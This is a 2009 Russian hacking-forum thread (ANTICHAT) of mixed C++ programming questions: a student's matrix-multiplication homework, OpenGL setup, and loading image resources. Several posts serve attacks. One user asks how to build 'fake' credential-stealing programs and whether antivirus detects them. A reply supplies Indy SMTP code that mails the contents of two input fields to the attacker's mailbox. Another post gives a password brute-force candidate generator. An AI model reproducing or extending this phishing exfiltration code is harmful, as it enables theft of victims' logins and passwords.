HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > ПРОГРАММИРОВАНИЕ > С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Моё маленькое задание.
  #1  
Старый 22.11.2009, 19:36
ZnikiR
Участник форума
Регистрация: 14.01.2009
Сообщений: 194
С нами: 9116574

Репутация: 44
По умолчанию Моё маленькое задание.

Вот написал маленькую программу по Д\З в универе,вроде всё работает,но хотелось бы узнать ваше мнение на её счет.
Программирую на С++ я только с этого года,а Visual Studio Вообще лишь сегодня поставил
Код:
#include<iostream>
#include<math.h>
using namespace std;
/*Задание:
Есть два массива 
G[k][k]={9,8,7,6,5,4,3,2,1}
E[k][k]={1,2,3,4,5,6,7,8,9}
k=3
Найти M[i][j]=Σ(L=0 до L=K-1)G[i][L]*E[L][j]
По русски 
M[i][j]=G[i][0]*E[0][j]+G[i][1]*E[1][j]+G[i][2]*E[2][j]

И затем вывести её в виде матрицы.
*/

int main () {
//Для отладки поставь tmode=1
			const int k=3,tmode=0;
			int g[k][k]={9,8,7,6,5,4,3,2,1};
			int e[k][k]={1,2,3,4,5,6,7,8,9};
			int m[k][k],i,j,l,sum;
			for (i=0;i<k;i++)
			{
				if(tmode==1){cout<<endl<<" || i="<<i;}							//<===== отладка

				//первый цикл,перебор массивов по i
				for (j=0;j<k;j++)
				{
					
					
					
					
					if(tmode==1){cout<<" ||j="<<j<<endl;}						//<===== отладка
					//перебор по j
					sum=0;
					//SUM=0 нужен для того,чтобы к сумме не прибавлялось значение полученное в циклах по L до этого
					for (l=0;l<k;l++)
					{
						//сумме присваеваем значение предидушей + текущего произведение
						sum=sum+g[i][l]*e[l][j];
						//На выходе получаем M[i][j]
						if(tmode==1){cout<<" | sum[l="<<l<<"]="<<sum;}//<===== отладка
					}
				m[i][j]=sum;
				

				if(tmode==1){cout<<" | m[i="<<i<<"][j="<<j<<"]="<<m[i][j];					//<===== отладка
				             cout<<endl;}													//<===== отладка
				}
			}



//Второй этап=Вывод
			printf("m[i/j]|   0  |   1  |   2   \n======|======|======|======\n");
				for(i=0;i<k;i++)
				{
					printf("  %2d",i);
						for (j=0;j<k;j++)
						{
							
							if (m[i][j]>99){printf("  | %2i",m[i][j]);}
							else {printf("  |  %2i",m[i][j]);}
                     
						}printf("\n======|======|======|======\n");
				}		
			return 0;
			}
 
Ответить с цитированием

  #2  
Старый 23.11.2009, 04:27
anasta
Новичок
Регистрация: 11.06.2009
Сообщений: 5
С нами: 8903349

Репутация: 0
По умолчанию

Как установить и где их взять библиотеки OpenGL?
Пишу под Linux Mandriva, компил gcc.
 
Ответить с цитированием

  #3  
Старый 23.11.2009, 09:37
zythar
Moderator - Level 7
Регистрация: 16.02.2008
Сообщений: 580
С нами: 9596486

Репутация: 291


По умолчанию

хз как в этой вашей мандриве менеджер пакетов называется.
установи пакеты freeglut freeglut-devel
 
Ответить с цитированием

  #4  
Старый 23.11.2009, 18:38
m0Hze
Он хакер.
Регистрация: 01.11.2008
Сообщений: 1,756
С нами: 9223466

Репутация: 3171


По умолчанию

Имеем:
PHP код:
exp "abcdef"
Как сгенеррировать все возможные комбинации из этого диапазона например начиная с 3-х,заканчивая 6 значными словами.
Полазил в сорцах брута на суде,там это должно быть реализовано,но изза многократного упоминания библиотек и переменных относящихся к видеодрайверу,я потерялся
Интересует алгоритм,в котором бы,сгенерированные ранее слова,не генерились вновь.
 
Ответить с цитированием

  #5  
Старый 23.11.2009, 18:47
razb
Постоянный
Регистрация: 24.03.2009
Сообщений: 670
С нами: 9017461

Репутация: 414


По умолчанию

Делаешь вложенный цикл, с глубиной вложения равной количеству символов в пассе.
 
Ответить с цитированием

  #6  
Старый 23.11.2009, 19:22
Ra$cal
Постоянный
Регистрация: 16.08.2006
Сообщений: 640
С нами: 10386906

Репутация: 599


По умолчанию

Цитата:
Сообщение от razb  
Делаешь вложенный цикл, с глубиной вложения равной количеству символов в пассе.
и отправляешь сорец на сайт говнокодру.

Код:
#include <iostream>
#include <string>
#include <vector>
using namespace std;

string passFromCounter(int counter, const vector<string>& letters);

void main()
{
	vector<string> letters;
	letters.push_back("a");
	letters.push_back("b");
	letters.push_back("c");
	letters.push_back("d");
	letters.push_back("e");

	int counter = 0;

	while (counter < 50){
		cout << passFromCounter(counter++, letters) << endl;
	}
	system("pause");
}

string passFromCounter(int counter, const vector<string>& letters){
	int num = letters.size();
	int local_mutation_step = counter;
	string pass;

	do{
		pass = letters.at((local_mutation_step % num)) + pass;
		local_mutation_step = local_mutation_step / num - 1;
	}while(local_mutation_step >= 0);

	return pass;
}
Немножко математики спасают от тупого хардкодирования. Как это работает я уже не раз описывал тут. Как подобрать длину пароля - с 3х до 6ти букв - придумайте сами. Простая арифметика.
 
Ответить с цитированием

  #7  
Старый 23.11.2009, 23:02
ZnikiR
Участник форума
Регистрация: 14.01.2009
Сообщений: 194
С нами: 9116574

Репутация: 44
По умолчанию

Привет.
У мня тут два вопросика.
Недавно заинтересовался двумя вещами.
Глушилками на hosts,и программа фейками,хотел бы спросить (не отрицаю того,что тема где-то подымалась,но я ничего стоящего не нашел)
1)на чем обычно такое пишется.
2)как организуется отправка введеных данных с фейк программы например ко мне на почту?
3)сильно ли палиться это ативирусами?
4)где об этом можно найти качественную инфу?

спасибо за внимание.
 
Ответить с цитированием

  #8  
Старый 24.11.2009, 11:16
Romik001
Познающий
Регистрация: 18.07.2009
Сообщений: 66
С нами: 8850680

Репутация: 10
По умолчанию

ZnikiR
Держи пример кароч на С++:

кидаешь на форму два компонента: idSMTP и idMessage
вот те примерный код:

IdMessage1->CharSet = "windows1251"; // на шестом билдере понта ноль от этого конечно, а вот на делфи робит отлично, соль в том что если символы русские то приходит ??? это из-за версии инди
IdMessage1->ContentTransferEncoding = "8bit";
IdMessage1->ContentType = "text/plain";

IdMessage1->Recipients->EMailAddresses = "bla_bla@mail.ru";
IdMessage1->Subject = "tema";
IdMessage1->Body->Text = Edit1->Text+':'+Edit2->Text; //текст мессаги, самый гемор для мну был)

IdMessage1->From->Name = "ot menya";
IdMessage1->From->Address = "bla_bla@mail.ru";

IdSMTP1->Host = "smtp.mail.ru";
IdSMTP1->Port = 25; //стандартный порт
IdSMTP1->UserId = "тут_логин_для_входа_в_почту ";
IdSMTP1->Password = "тут_пароль_на_вход";
IdSMTP1->AuthenticationType = atLogin; //говорим что нужна авторизация

IdSMTP1->Connect(); // коннект собсно
IdSMTP1->Send(IdMessage1);
IdSMTP1->Disconnect(); //дисконнект =)

вот собсно код фэйка для отправки на почту. надеюсь на + к репе =)

p.s.: На форуме где нибудь можно почитать примеры авторизации на сайтах с использованием idHTTP ? ну или другими способами?

Последний раз редактировалось Romik001; 24.11.2009 в 11:29..
 
Ответить с цитированием

  #9  
Старый 25.11.2009, 00:47
ZnikiR
Участник форума
Регистрация: 14.01.2009
Сообщений: 194
С нами: 9116574

Репутация: 44
По умолчанию

Цитата:
Сообщение от Romik001  
ZnikiR
Держи пример кароч на С++:

***************

p.s.: На форуме где нибудь можно почитать примеры авторизации на сайтах с использованием idHTTP ? ну или другими способами?
Я так понимаю,что такие программы лучше всего на делфи писать?
Или нет?
 
Ответить с цитированием

  #10  
Старый 24.11.2009, 21:49
POS_troi
Познавший АНТИЧАТ
Регистрация: 01.12.2006
Сообщений: 1,769
С нами: 10233548

Репутация: 1118


По умолчанию

Среда разработки MSVC 2008 (NET 3.5)

Дано PictureBox + ресурс IDB_Picture_101 (точечный рисунок)

Как правильно подгрузить картинку из ресурсов?
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Часто задаваемые вопросы по MySQL Серый PHP 5 28.12.2006 18:26
Интернетчики задали российскому президенту очень странные вопросы podkashey Мировые новости. Обсуждения. 4 07.07.2006 16:53
Вопросы по Ipb 2.0 Voodoo_People Уязвимости CMS / форумов 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.